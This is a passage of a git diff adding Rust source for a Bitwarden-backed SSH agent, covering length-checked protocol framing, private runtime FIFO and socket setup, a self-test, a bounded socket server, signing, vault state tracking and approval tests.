Public half of this identity. + pub fn public_key(&self) -> &PublicKey { + self.key.public_key() + } +} + +/// An intentionally opaque construction error. +pub struct ProtocolError; + +impl fmt::Debug for ProtocolError { + fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result { + formatter.write_str("invalid SSH identity") + } +} + +/// Handle exactly one length-prefixed agent frame. +/// +/// The length is checked before the body is sliced or any request field is +/// allocated. The returned frame is always small enough for the configured +/// cap; otherwise it is the normal agent failure frame. +pub fn handle_frame(frame: &[u8], identities: &[Identity]) -> Vec { + response(handle(frame, identities).unwrap_or_else(failure_payload)) +} + +fn handle(frame: &[u8], identities: &[Identity]) -> Option> { + match decode_request(frame)? { + AgentRequest::Identities => identities_answer(identities), + AgentRequest::Sign { + public_blob, + message, + flags, + } => sign_response_fields(&public_blob, &message, flags, identities), + } +} + +pub fn decode_request(frame: &[u8]) -> Option { + let header: [u8; 4] = frame.get(..4)?.try_into().ok()?; + let declared = usize::try_from(u32::from_be_bytes(header)).ok()?; + if declared == 0 || declared > MAX_FRAME_LEN || frame.len() != declared.checked_add(4)? { + return None; + } + + let payload = &frame[4..]; + match payload.first().copied()? { + REQUEST_IDENTITIES if payload.len() == 1 => Some(AgentRequest::Identities), + SIGN_REQUEST => decode_sign_request(&payload[1..]), + _ => None, + } +} + +fn identities_answer(identities: &[Identity]) -> Option> { + let mut payload = vec![IDENTITIES_ANSWER]; + u32::try_from(identities.len()) + .ok()? + .encode(&mut payload) + .ok()?; + for identity in identities { + identity.public_blob.encode(&mut payload).ok()?; + identity.comment.encode(&mut payload).ok()?; + if payload.len() > MAX_FRAME_LEN { + return None; + } + } + Some(payload) +} + +fn decode_sign_request(mut fields: &[u8]) -> Option { + let key_blob = Vec::::decode(&mut fields).ok()?; + let message = Vec::::decode(&mut fields).ok()?; + let flags = u32::decode(&mut fields).ok()?; + if !fields.is_empty() { + return None; + } + Some(AgentRequest::Sign { + public_blob: key_blob, + message, + flags, + }) +} + +fn sign_response_fields( + key_blob: &[u8], + message: &[u8], + flags: u32, + identities: &[Identity], +) -> Option> { + let identity = identities + .iter() + .find(|identity| identity.public_blob == key_blob)?; + let signature = signing::sign(&identity.key, message, flags)?; + signature_payload(signature) +} + +pub fn signature_response(signature: ssh_key::Signature) -> Option> { + signature_payload(signature).map(response) +} + +fn signature_payload(signature: ssh_key::Signature) -> Option> { + let signature_bytes = Vec::::try_from(signature).ok()?; + let mut payload = vec![SIGN_RESPONSE]; + signature_bytes.encode(&mut payload).ok()?; + (payload.len() <= MAX_FRAME_LEN).then_some(payload) +} + +pub fn identities_response(public: &[(&[u8], &str)]) -> Vec { + let mut payload = vec![IDENTITIES_ANSWER]; + let Some(count) = u32::try_from(public.len()).ok() else { + return failure_response(); + }; + if count.encode(&mut payload).is_err() { + return failure_response(); + } + for (blob, comment) in public { + if blob.encode(&mut payload).is_err() + || comment.encode(&mut payload).is_err() + || payload.len() > MAX_FRAME_LEN + { + return failure_response(); + } + } + response(payload) +} + +pub fn failure_response() -> Vec { + response(failure_payload()) +} + +fn failure_payload() -> Vec { + vec![FAILURE] +} + +fn response(payload: Vec) -> Vec { + if payload.len() > MAX_FRAME_LEN { + return vec![0, 0, 0, 1, FAILURE]; + } + let mut frame = Vec::with_capacity(payload.len() + 4); + let Ok(length) = u32::try_from(payload.len()) else { + return vec![0, 0, 0, 1, FAILURE]; + }; + frame.extend_from_slice(&length.to_be_bytes()); + frame.extend_from_slice(&payload); + frame +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/runtime.rs b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/runtime.rs new file mode 100644 index 0000000..deaa6d7 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/runtime.rs @@ -0,0 +1,324 @@ +//! Private runtime-directory and key-load FIFO creation. + +use rustix::fs::{self, FlockOperation, Mode, OFlags, CWD}; +use std::fmt; +use std::fs::File; +use std::io::Read; +use std::os::unix::fs::{FileTypeExt, MetadataExt, PermissionsExt}; +use std::path::{Path, PathBuf}; +use std::time::{Duration, Instant}; +use zeroize::Zeroizing; + +use crate::keystore::MAX_FILTERED_BYTES; + +const RUNTIME_NAME: &str = "qs-bitwarden-cli"; +const FIFO_NAME: &str = "ssh-keys.fifo"; +const LOCK_NAME: &str = "ssh-agent.lock"; +const SOCKET_NAME: &str = "ssh-agent.sock"; + +/// Sanitized runtime setup failures. +#[derive(Clone, Copy, Debug, Eq, PartialEq)] +pub enum RuntimeError { + Io, + UnsafeDirectory, + UnsafeFifo, + UnsafeLock, + UnsafeSocket, + AlreadyRunning, + PayloadTooLarge, + MultiplePayloads, + ReadTimeout, +} + +/// Open private runtime paths. The FIFO descriptor remains open read/write so +/// writers do not observe transient EOF or SIGPIPE between loads. +pub struct Runtime { + directory: PathBuf, + fifo_path: PathBuf, + fifo: File, +} + +impl fmt::Debug for Runtime { + fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result { + formatter.write_str("Runtime { verified private paths }") + } +} + +/// Accumulator for newline-delimited, byte-bounded FIFO payload framing. +struct PayloadAccumulator { + payload: Zeroizing>, +} + +impl PayloadAccumulator { + fn new() -> Self { + Self { + payload: Zeroizing::new(Vec::new()), + } + } + + fn push(&mut self, chunk: &[u8]) -> Result>>, RuntimeError> { + self.payload.extend_from_slice(chunk); + if self.payload.len() > MAX_FILTERED_BYTES + 1 { + return Err(RuntimeError::PayloadTooLarge); + } + if let Some(newline) = self.payload.iter().position(|byte| *byte == b'\n') { + if self.payload[newline + 1..] + .iter() + .any(|byte| !byte.is_ascii_whitespace()) + { + return Err(RuntimeError::MultiplePayloads); + } + self.payload.truncate(newline); + return Ok(Some(std::mem::take(&mut self.payload))); + } + Ok(None) + } +} + +impl Runtime { + /// Create a fresh FIFO below `runtime_root`, refusing every existing FIFO + /// path and every directory that is not a same-owner real `0700` directory. + pub fn create(runtime_root: &Path) -> Result { + let directory = ensure_runtime_directory(runtime_root)?; + Self::create_in(directory) + } + + fn create_in(directory: PathBuf) -> Result { + let fifo_path = directory.join(FIFO_NAME); + if std::fs::symlink_metadata(&fifo_path).is_ok() { + return Err(RuntimeError::UnsafeFifo); + } + fs::mkfifoat(CWD, &fifo_path, Mode::RUSR | Mode::WUSR).map_err(|_| RuntimeError::Io)?; + let fd = fs::open( + &fifo_path, + OFlags::RDWR | OFlags::NONBLOCK | OFlags::NOFOLLOW | OFlags::CLOEXEC, + Mode::empty(), + ) + .map_err(|_| RuntimeError::UnsafeFifo)?; + let fifo = File::from(fd); + let metadata = fifo.metadata().map_err(|_| RuntimeError::Io)?; + if !metadata.file_type().is_fifo() + || metadata.uid() != rustix::process::geteuid().as_raw() + || metadata.mode() & 0o777 != 0o600 + { + return Err(RuntimeError::UnsafeFifo); + } + Ok(Self { + directory, + fifo_path, + fifo, + }) + } + + pub fn directory(&self) -> &Path { + &self.directory + } + + pub fn fifo_path(&self) -> &Path { + &self.fifo_path + } + + pub fn fifo(&self) -> &File { + &self.fifo + } + + pub fn fifo_reader(&self) -> Result { + self.fifo.try_clone().map_err(|_| RuntimeError::Io) + } + + /// Drain one newline-delimited `jq -c` payload under hard byte/time bounds. + pub fn read_payload(&mut self, timeout: Duration) -> Result>, RuntimeError> { + let deadline = Instant::now() + timeout; + let mut accumulator = PayloadAccumulator::new(); + let mut chunk = [0_u8; 8192]; + loop { + let idle = match self.fifo.read(&mut chunk) { + Ok(0) => true, + Ok(count) => match accumulator.push(&chunk[..count])? { + Some(payload) => return Ok(payload), + None => false, + }, + Err(error) if error.kind() == std::io::ErrorKind::WouldBlock => true, + Err(_) => return Err(RuntimeError::Io), + }; + if Instant::now() >= deadline { + return Err(RuntimeError::ReadTimeout); + } + if idle { + std::thread::sleep(Duration::from_millis(1)); + } + } + } +} + +/// Async FIFO drain used by the current-thread companion. `AsyncFd` waits for +/// readiness without a blocking worker thread, so control/lock messages remain +/// serviceable while a producer is slow. +pub async fn read_payload_async( + fifo: File, + timeout: Duration, +) -> Result>, RuntimeError> { + let fifo = tokio::io::unix::AsyncFd::new(fifo).map_err(|_| RuntimeError::Io)?; + tokio::time::timeout(timeout, async { + let mut accumulator = PayloadAccumulator::new(); + let mut chunk = [0_u8; 8192]; + loop { + let mut ready = fifo.readable().await.map_err(|_| RuntimeError::Io)?; + match ready.try_io(|inner| { + let mut file = inner.get_ref(); + file.read(&mut chunk) + }) { + // EOF, not a spurious wakeup. `try_io` only clears readiness + // on `WouldBlock`, so a producer that closed without a newline + // leaves this readable for good: continuing straight back would + // spin a core flat out until the timeout. Paced the same way + // the blocking twin above paces its idle reads. + Ok(Ok(0)) => tokio::time::sleep(Duration::from_millis(1)).await, + Ok(Ok(count)) => { + if let Some(payload) = accumulator.push(&chunk[..count])? { + return Ok(payload); + } + } + Ok(Err(_)) => return Err(RuntimeError::Io), + Err(_) => continue, + } + } + }) + .await + .map_err(|_| RuntimeError::ReadTimeout)? +} + +/// Singleton-owned runtime. The lock is acquired before stale paths are ever +/// inspected or removed, closing the restart race between two companions. +pub struct ServiceRuntime { + runtime: Runtime, + socket_path: PathBuf, + lock_path: PathBuf, + _lock: File, +} + +impl ServiceRuntime { + pub fn acquire(runtime_root: &Path) -> Result { + let directory = ensure_runtime_directory(runtime_root)?; + let lock_path = directory.join(LOCK_NAME); + let lock = File::from( + fs::open( + &lock_path, + OFlags::CREATE | OFlags::RDWR | OFlags::NOFOLLOW | OFlags::CLOEXEC, + Mode::RUSR | Mode::WUSR, + ) + .map_err(|_| RuntimeError::UnsafeLock)?, + ); + let metadata = lock.metadata().map_err(|_| RuntimeError::Io)?; + if !metadata.file_type().is_file() + || metadata.uid() != rustix::process::geteuid().as_raw() + || metadata.mode() & 0o777 != 0o600 + { + return Err(RuntimeError::UnsafeLock); + } + fs::flock(&lock, FlockOperation::NonBlockingLockExclusive) + .map_err(|_| RuntimeError::AlreadyRunning)?; + + remove_stale(&directory.join(FIFO_NAME), StaleKind::Fifo)?; + let socket_path = directory.join(SOCKET_NAME); + remove_stale(&socket_path, StaleKind::Socket)?; + let runtime = Runtime::create_in(directory)?; + Ok(Self { + runtime, + socket_path, + lock_path, + _lock: lock, + }) + } + + pub fn runtime(&self) -> &Runtime { + &self.runtime + } + pub fn runtime_mut(&mut self) -> &mut Runtime { + &mut self.runtime + } + pub fn socket_path(&self) -> &Path { + &self.socket_path + } + + pub fn bind_socket(&self) -> Result { + let listener = std::os::unix::net::UnixListener::bind(&self.socket_path) + .map_err(|_| RuntimeError::Io)?; + listener + .set_nonblocking(true) + .map_err(|_| RuntimeError::Io)?; + std::fs::set_permissions(&self.socket_path, std::fs::Permissions::from_mode(0o600)) + .map_err(|_| RuntimeError::Io)?; + let metadata = + std::fs::symlink_metadata(&self.socket_path).map_err(|_| RuntimeError::Io)?; + if !metadata.file_type().is_socket() + || metadata.uid() != rustix::process::geteuid().as_raw() + || metadata.mode() & 0o777 != 0o600 + { + return Err(RuntimeError::UnsafeSocket); + } + tokio::net::UnixListener::from_std(listener).map_err(|_| RuntimeError::Io) + } +} + +impl Drop for ServiceRuntime { + fn drop(&mut self) { + let _ = std::fs::remove_file(&self.socket_path); + let _ = std::fs::remove_file(self.runtime.fifo_path()); + let _ = std::fs::remove_file(&self.lock_path); + let _ = std::fs::remove_dir(self.runtime.directory()); + } +} + +fn ensure_runtime_directory(runtime_root: &Path) -> Result { + let directory = runtime_root.join(RUNTIME_NAME); + match std::fs::create_dir(&directory) { + Ok(()) => std::fs::set_permissions(&directory, std::fs::Permissions::from_mode(0o700)) + .map_err(|_| RuntimeError::Io)?, + Err(error) if error.kind() == std::io::ErrorKind::AlreadyExists => {} + Err(_) => return Err(RuntimeError::Io), + } + let metadata = std::fs::symlink_metadata(&directory).map_err(|_| RuntimeError::Io)?; + if !metadata.file_type().is_dir() + || metadata.file_type().is_symlink() + || metadata.uid() != rustix::process::geteuid().as_raw() + || metadata.mode() & 0o777 != 0o700 + { + return Err(RuntimeError::UnsafeDirectory); + } + + Ok(directory) +} + +enum StaleKind { + Fifo, + Socket, +} + +fn remove_stale(path: &Path, kind: StaleKind) -> Result<(), RuntimeError> { + let metadata = match std::fs::symlink_metadata(path) { + Ok(metadata) => metadata, + Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Ok(()), + Err(_) => return Err(RuntimeError::Io), + }; + let expected = match kind { + StaleKind::Fifo => metadata.file_type().is_fifo(), + StaleKind::Socket => metadata.file_type().is_socket(), + }; + if !expected + || metadata.file_type().is_symlink() + || metadata.uid() != rustix::process::geteuid().as_raw() + { + return Err(match kind { + StaleKind::Fifo => RuntimeError::UnsafeFifo, + StaleKind::Socket => RuntimeError::UnsafeSocket, + }); + } + std::fs::remove_file(path).map_err(|_| RuntimeError::Io) +} + +impl Drop for Runtime { + fn drop(&mut self) { + let _ = std::fs::remove_file(&self.fifo_path); + } +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/selftest.rs b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/selftest.rs new file mode 100644 index 0000000..91581da --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/selftest.rs @@ -0,0 +1,159 @@ +//! A launch-time smoke test the panel can run before it trusts this binary. +//! +//! What this proves: the binary executes on this machine, its crypto library +//! loads and computes correctly, its frame and control parsers work and reject +//! what they should, and the kernel supports the process hardening the rest of +//! the design depends on. +//! +//! What it deliberately does not prove: that signing produces a correct +//! signature. Doing that needs a private key, and the only honest ways to get +//! one are to generate it -- which would put a random-number generator into a +//! key-holding binary's dependency tree for the sake of a smoke test -- or to +//! embed one, which is exactly what this project refuses to do anywhere else. +//! The verification path below exercises the same crypto backend; the signing +//! path is covered by the test suite, where generating a disposable key costs +//! nothing. +//! +//! It touches no filesystem, opens no socket, and needs no runtime directory, +//! because it runs before any of those exist. + +use crate::control::{parse_control_line, ControlError, ControlMessage, MAX_CONTROL_LINE}; +use crate::protocol::{self, AgentRequest, MAX_FRAME_LEN}; +use ssh_encoding::Encode; +use ssh_key::{HashAlg, PublicKey}; + +/// A disposable public key, generated for this check and belonging to nobody. +/// Public material only -- there is no private counterpart anywhere. +const FIXTURE_PUBLIC_KEY: &str = + "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDgSTquIEW1Ui0iRAQcZZAjS1OIA/D6Q+Arq/JfoVLkh"; + +/// One named check and whether it held. +struct Check { + name: &'static str, + ok: bool, +} + +pub fn run() -> i32 { + let checks = vec![ + Check { + name: "process hardening (RLIMIT_CORE=0, PR_SET_DUMPABLE=0)", + ok: hardening_available(), + }, + Check { + name: "public key parsing and SHA256 fingerprint", + ok: public_key_math(), + }, + Check { + name: "agent frame encode and decode", + ok: frame_round_trip(), + }, + Check { + name: "oversized frames rejected before allocation", + ok: frame_bounds(), + }, + Check { + name: "control protocol v1 accepted, other versions refused", + ok: control_versions(), + }, + ]; + + let failed = checks.iter().filter(|check| !check.ok).count(); + for check in &checks { + println!("{} {}", if check.ok { "ok " } else { "FAIL" }, check.name); + } + if failed == 0 { + println!("ok: {} checks passed", checks.len()); + println!("note: signing is exercised by the test suite, not here -- see selftest.rs"); + 0 + } else { + println!("FAILED: {failed} of {} checks", checks.len()); + 1 + } +} + +/// The hardening is applied for real, then read back. A kernel that refuses +/// either of these is one where the design's assumptions about core dumps and +/// same-UID inspection do not hold, and the panel should know before it hands +/// this process any keys. +fn hardening_available() -> bool { + if crate::lifecycle::harden_process().is_err() { + return false; + } + let core = rustix::process::getrlimit(rustix::process::Resource::Core); + let dumpable = rustix::process::dumpable_behavior(); + core.current == Some(0) + && matches!(dumpable, Ok(rustix::process::DumpableBehavior::NotDumpable)) +} + +/// Parses a real public key and derives its fingerprint, which exercises the +/// same ssh-key backend the signing path uses. +fn public_key_math() -> bool { + let Ok(key) = PublicKey::from_openssh(FIXTURE_PUBLIC_KEY) else { + return false; + }; + if !matches!(key.algorithm(), ssh_key::Algorithm::Ed25519) { + return false; + } + let fingerprint = key.fingerprint(HashAlg::Sha256).to_string(); + // A fingerprint is base64 of a SHA-256 digest, so its shape is fixed. + fingerprint.starts_with("SHA256:") && fingerprint.len() > 20 && key.to_bytes().is_ok() +} + +/// A sign request built here, decoded by the real decoder, and an identities +/// response encoded by the real encoder. +fn frame_round_trip() -> bool { + let Ok(key) = PublicKey::from_openssh(FIXTURE_PUBLIC_KEY) else { + return false; + }; + let Ok(blob) = key.to_bytes() else { + return false; + }; + + let mut body = Vec::new(); + if 13_u8.encode(&mut body).is_err() + || blob.as_slice().encode(&mut body).is_err() + || b"self-test".as_slice().encode(&mut body).is_err() + || 0_u32.encode(&mut body).is_err() + { + return false; + } + let mut frame = match u32::try_from(body.len()) { + Ok(length) => length.to_be_bytes().to_vec(), + Err(_) => return false, + }; + frame.extend_from_slice(&body); + + let decoded = matches!( + protocol::decode_request(&frame), + Some(AgentRequest::Sign { .. }) + ); + let listed = protocol::identities_response(&[(blob.as_slice(), "self-test")]); + decoded && listed.len() > 4 +} + +/// The ceiling is checked before anything is allocated, so a claimed length +/// beyond it must be refused rather than believed. +fn frame_bounds() -> bool { + let mut oversized = u32::try_from(MAX_FRAME_LEN + 1) + .unwrap_or(u32::MAX) + .to_be_bytes() + .to_vec(); + oversized.push(11); + let empty = [0_u8, 0, 0, 0]; + protocol::decode_request(&oversized).is_none() && protocol::decode_request(&empty).is_none() +} + +/// The control channel is versioned so an old bundled binary fails clearly +/// after a plugin update rather than misreading a newer panel. +fn control_versions() -> bool { + let hello = parse_control_line(br#"{"v":1,"type":"hello"}"#); + let wrong_version = parse_control_line(br#"{"v":2,"type":"hello"}"#); + let unknown = parse_control_line(br#"{"v":1,"type":"exec"}"#); + let mut overlong = vec![b'{'; MAX_CONTROL_LINE + 1]; + overlong.push(b'}'); + + matches!(hello, Ok(ControlMessage::Hello { .. })) + && matches!(wrong_version, Err(ControlError::WrongVersion)) + && matches!(unknown, Err(ControlError::Malformed)) + && matches!(parse_control_line(&overlong), Err(ControlError::TooLong)) +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/server.rs b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/server.rs new file mode 100644 index 0000000..4d9c8b6 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/server.rs @@ -0,0 +1,142 @@ +//! Bounded Unix-socket client transport for the single-owner state loop. + +use crate::peer::PeerContext; +use crate::protocol::{self, AgentRequest, MAX_FRAME_LEN}; +use std::sync::Arc; +use tokio::io::{AsyncReadExt, AsyncWriteExt}; +use tokio::net::{UnixListener, UnixStream}; +use tokio::sync::{mpsc, oneshot, Semaphore}; +use tokio::time::{timeout, Duration}; + +pub const MAX_CLIENTS: usize = 8; +/// Socket read and write timeouts. These are machine-speed operations, so +/// they stay short regardless of how long a person may take to answer. +pub const CLIENT_IO_TIMEOUT: Duration = Duration::from_secs(30); +/// How long a client blocks waiting for the state loop's answer. It must +/// exceed `approvals::REQUEST_LIFETIME_MS`, or a client would give up before +/// the request it is waiting on expires and the human deadline would be +/// decorative -- which it was when both were thirty seconds. +pub const RESPONSE_TIMEOUT: Duration = Duration::from_secs(150); +const ACCEPT_ERROR_DELAY: Duration = Duration::from_millis(100); + +pub struct ClientEvent { + pub peer: PeerContext, + pub request: AgentRequest, + pub reply: oneshot::Sender>, +} + +pub async fn run(listener: UnixListener, events: mpsc::Sender) { + let permits = Arc::new(Semaphore::new(MAX_CLIENTS)); + loop { + let stream = match listener.accept().await { + Ok((stream, _)) => stream, + Err(_) => { + // accept(2) can surface connection and resource errors which + // do not invalidate the listener. There is no portable error + // taxonomy that proves this descriptor has become unusable, + // so keep serving and pace persistent failures; shutdown + // aborts this task with the rest of the companion. + tokio::time::sleep(ACCEPT_ERROR_DELAY).await; + continue; + } + }; + let Ok(permit) = permits.clone().try_acquire_owned() else { + drop(stream); + continue; + }; + let events = events.clone(); + tokio::spawn(async move { + let _permit = permit; + serve_client(stream, events).await; + }); + } +} + +async fn serve_client(mut stream: UnixStream, events: mpsc::Sender) { + let Ok(credentials) = stream.peer_cred() else { + return; + }; + let Some(pid) = credentials.pid() else { return }; + let Ok(pid) = u32::try_from(pid) else { return }; + let Ok(peer) = PeerContext::capture(credentials.uid(), pid) else { + return; + }; + + loop { + let Some(frame) = read_frame(&mut stream).await else { + return; + }; + let Some(request) = protocol::decode_request(&frame) else { + if write_response(&mut stream, protocol::failure_response()) + .await + .is_err() + { + return; + } + continue; + }; + let (reply, response) = oneshot::channel(); + if events + .try_send(ClientEvent { + peer: peer.clone(), + request, + reply, + }) + .is_err() + { + if write_response(&mut stream, protocol::failure_response()) + .await + .is_err() + { + return; + } + continue; + } + // Watch the socket while the request is pending. Awaiting only the + // reply would leave a client that walked away undetected until the + // deadline -- and a prompt on screen for a signature nobody is + // waiting for any more. Returning here drops the reply channel, which + // is what tells the state loop to withdraw the request. + // + // Anything that actually arrives is either EOF or a pipelined frame, + // which this protocol does not use; both end the connection. + let mut probe = [0_u8; 1]; + let bytes = tokio::select! { + result = timeout(RESPONSE_TIMEOUT, response) => match result { + Ok(Ok(bytes)) => bytes, + _ => protocol::failure_response(), + }, + _ = stream.read(&mut probe) => return, + }; + if write_response(&mut stream, bytes).await.is_err() { + return; + } + } +} + +async fn read_frame(stream: &mut UnixStream) -> Option> { + let mut header = [0_u8; 4]; + timeout(CLIENT_IO_TIMEOUT, stream.read_exact(&mut header)) + .await + .ok()? + .ok()?; + let length = usize::try_from(u32::from_be_bytes(header)).ok()?; + if length == 0 || length > MAX_FRAME_LEN { + return None; + } + let mut frame = Vec::with_capacity(length + 4); + frame.extend_from_slice(&header); + frame.resize(length + 4, 0); + timeout(CLIENT_IO_TIMEOUT, stream.read_exact(&mut frame[4..])) + .await + .ok()? + .ok()?; + Some(frame) +} + +async fn write_response(stream: &mut UnixStream, response: Vec) -> std::io::Result<()> { + timeout(CLIENT_IO_TIMEOUT, stream.write_all(&response)) + .await + .map_err(|_| std::io::ErrorKind::TimedOut)??; + Ok(()) +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/signing.rs b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/signing.rs new file mode 100644 index 0000000..ae8d31c --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/signing.rs @@ -0,0 +1,32 @@ +//! The two signing paths allowed by the v1 agent protocol. + +use crate::rsa_keys; +use signature::{SignatureEncoding, Signer}; +use ssh_key::{private::KeypairData, Algorithm, HashAlg, PrivateKey, Signature}; + +/// Sign `message` with the exact algorithm selected by agent-protocol flags. +/// +/// Callers deliberately receive no underlying crypto error: errors can carry +/// parser or key context and the wire protocol has only a generic failure. +pub(crate) fn sign(key: &PrivateKey, message: &[u8], flags: u32) -> Option { + match key.key_data() { + KeypairData::Ed25519(_) if flags == 0 => key.try_sign(message).ok(), + KeypairData::Rsa(keypair) => { + let hash = match flags { + 2 => HashAlg::Sha256, + 4 => HashAlg::Sha512, + _ => return None, + }; + let bytes = match rsa_keys::sha2_signing_key(keypair, hash).ok()? { + rsa_keys::Sha2SigningKey::Sha256(signing) => { + signing.try_sign(message).ok()?.to_vec() + } + rsa_keys::Sha2SigningKey::Sha512(signing) => { + signing.try_sign(message).ok()?.to_vec() + } + }; + Signature::new(Algorithm::Rsa { hash: Some(hash) }, bytes).ok() + } + _ => None, + } +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/state.rs b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/state.rs new file mode 100644 index 0000000..ffa984e --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/state.rs @@ -0,0 +1,77 @@ +//! Explicit vault state and epoch tracking for the signing worker. + +/// State relevant to identity visibility and signing authorization. +#[derive(Clone, Copy, Debug, Eq, PartialEq)] +pub enum VaultState { + /// No account/public cache is available. + LoggedOut, + /// A candidate is being validated; private signing is denied. + Loading, + /// A validated private set is available for the current epoch. + Unlocked, + /// Only the last validated public cache remains. + LockedCached, + /// Locked before any public cache has been loaded. + LockedEmpty, +} + +/// Single-owner state tracker. Mutating methods are the authorization +/// linearization points used by the keystore actor. +pub(crate) struct StateTracker { + epoch: u64, + state: VaultState, +} + +impl StateTracker { + pub(crate) fn new() -> Self { + Self { + epoch: 0, + state: VaultState::LoggedOut, + } + } + + pub(crate) fn begin_load(&mut self, epoch: u64) -> bool { + if epoch <= self.epoch { + return false; + } + self.epoch = epoch; + self.state = VaultState::Loading; + true + } + + pub(crate) fn publish(&mut self, epoch: u64) -> bool { + if self.epoch != epoch || self.state != VaultState::Loading { + return false; + } + self.state = VaultState::Unlocked; + true + } + + pub(crate) fn lock(&mut self, epoch: u64, has_public_cache: bool) { + // This assignment is the deny-signing linearization point. Private + // values are dropped by the owner only after this returns. + self.epoch = self.epoch.max(epoch); + self.state = if has_public_cache { + VaultState::LockedCached + } else { + VaultState::LockedEmpty + }; + } + + pub(crate) fn logout(&mut self, epoch: u64) { + self.epoch = self.epoch.max(epoch); + self.state = VaultState::LoggedOut; + } + + pub(crate) fn allows(&self, epoch: u64) -> bool { + self.epoch == epoch && self.state == VaultState::Unlocked + } + + pub(crate) fn epoch(&self) -> u64 { + self.epoch + } + + pub(crate) fn state(&self) -> VaultState { + self.state + } +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/agent/tests/approvals.rs b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/tests/approvals.rs new file mode 100644 index 0000000..3e98ccd --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/tests/approvals.rs @@ -0,0 +1,246 @@ +use qs_bitwarden_ssh_agent::approvals::{ApprovalError, ApprovalManager, Submit}; +use qs_bitwarden_ssh_agent::keystore::{CandidateItem, KeyStore}; +use qs_bitwarden_ssh_agent::peer::PeerContext; +use rand_core::OsRng; +use ssh_key::{Algorithm, HashAlg, PrivateKey}; +use zeroize::Zeroizing; + +fn peer(pid: u32, start: u64, executable: &str) -> PeerContext { + PeerContext::new(rustix::process::geteuid().as_raw(), pid, start, executable).unwrap() +} + +fn loaded_store(epoch: u64) -> (KeyStore, Vec) { + let key = PrivateKey::random(&mut OsRng, Algorithm::Ed25519).unwrap(); + let blob = key.public_key().to_bytes().unwrap(); + let mut store = KeyStore::new(); + let mut load = store.begin_load(epoch, 4096).unwrap(); + load.add(CandidateItem { + item_id: "item".into(), + name: "Work".into(), + private_key_pem: Zeroizing::new( + key.to_openssh(Default::default()) + .unwrap() + .as_bytes() + .to_vec(), + ), + public_key: key.public_key().to_openssh().unwrap(), + fingerprint: key.public_key().fingerprint(HashAlg::Sha256).to_string(), + requires_reprompt: false, + }) + .unwrap(); + store.publish(load).unwrap(); + (store, blob) +} + +/// Two clocks bound one wait, and they are not independent. The companion's +/// request deadline is the human's time to answer; the server's reply wait is +/// how long a client blocks for that answer. If the second is shorter, the +/// first is decorative -- which it was, with both set to thirty seconds. +#[test] +fn a_client_waits_longer_than_the_human_is_given_to_answer() { + assert!( + qs_bitwarden_ssh_agent::server::RESPONSE_TIMEOUT + > std::time::Duration::from_millis( + qs_bitwarden_ssh_agent::approvals::REQUEST_LIFETIME_MS + ), + "a client must not give up before the request it is waiting on expires" + ); + // Reading a frame or writing a reply is machine-speed and stays short; + // only the wait on a person is long. + assert!( + qs_bitwarden_ssh_agent::server::CLIENT_IO_TIMEOUT + < qs_bitwarden_ssh_agent::server::RESPONSE_TIMEOUT, + "socket I/O should not inherit the human-scale timeout" + ); + // The number itself, so raising it stays a deliberate act. + assert_eq!( + qs_bitwarden_ssh_agent::approvals::REQUEST_LIFETIME_MS, + 120_000, + "see docs/decisions/0003-request-deadline.md" + ); +} + +#[test] +fn queue_is_bounded_expires_and_disconnect_cancels() { + let (_, key) = loaded_store(1); + let mut approvals = ApprovalManager::new(rustix::process::geteuid().as_raw()); + let client = peer(100, 10, "/usr/bin/ssh"); + let mut ids = Vec::new(); + for _ in 0..4 { + match approvals.submit(1, &key, client.clone(), 1_000).unwrap() { + Submit::Pending(id) => ids.push(id), + Submit::Granted(_) => panic!("no grant exists"), + } + } + assert_eq!( + approvals.submit(1, &key, client.clone(), 1_000), + Err(ApprovalError::QueueFull) + ); + approvals.disconnect(ids[0]); + assert_eq!( + approvals.approve(ids[0], 0, 1_001), + Err(ApprovalError::UnknownRequest) + ); + // Derived from the lifetime rather than hardcoded, so changing the + // deadline cannot leave this test asserting the old one. + let past_deadline = qs_bitwarden_ssh_agent::approvals::REQUEST_LIFETIME_MS + 1_001; + approvals.expire(past_deadline - 1_001 - 1); + assert_ne!( + approvals.pending_count(), + 0, + "a request must survive right up to its deadline" + ); + approvals.expire(past_deadline); + assert_eq!(approvals.pending_count(), 0); + assert_eq!( + approvals.approve(ids[1], 0, past_deadline), + Err(ApprovalError::UnknownRequest) + ); +} + +#[test] +fn approval_is_single_use_and_old_epoch_fails_at_final_check() { + let (mut store, key) = loaded_store(7); + let mut approvals = ApprovalManager::new(rustix::process::geteuid().as_raw()); + let id = match approvals + .submit(7, &key, peer(101, 20, "/usr/bin/ssh"), 0) + .unwrap() + { + Submit::Pending(id) => id, + _ => unreachable!(), + }; + let authorization = approvals.approve(id, 0, 1).unwrap(); + assert_eq!( + approvals.approve(id, 0, 1), + Err(ApprovalError::UnknownRequest) + ); + assert!(authorization.finalize(&store).is_some()); + let second = match approvals + .submit(7, &key, peer(101, 20, "/usr/bin/ssh"), 2) + .unwrap() + { + Submit::Pending(id) => approvals.approve(id, 0, 2).unwrap(), + _ => unreachable!(), + }; + store.lock(8); + assert!(second.finalize(&store).is_none()); +} + +/// A grant covers one key and one program, not one process. Git spawns a +/// fresh `ssh-keygen` for every commit it signs, so 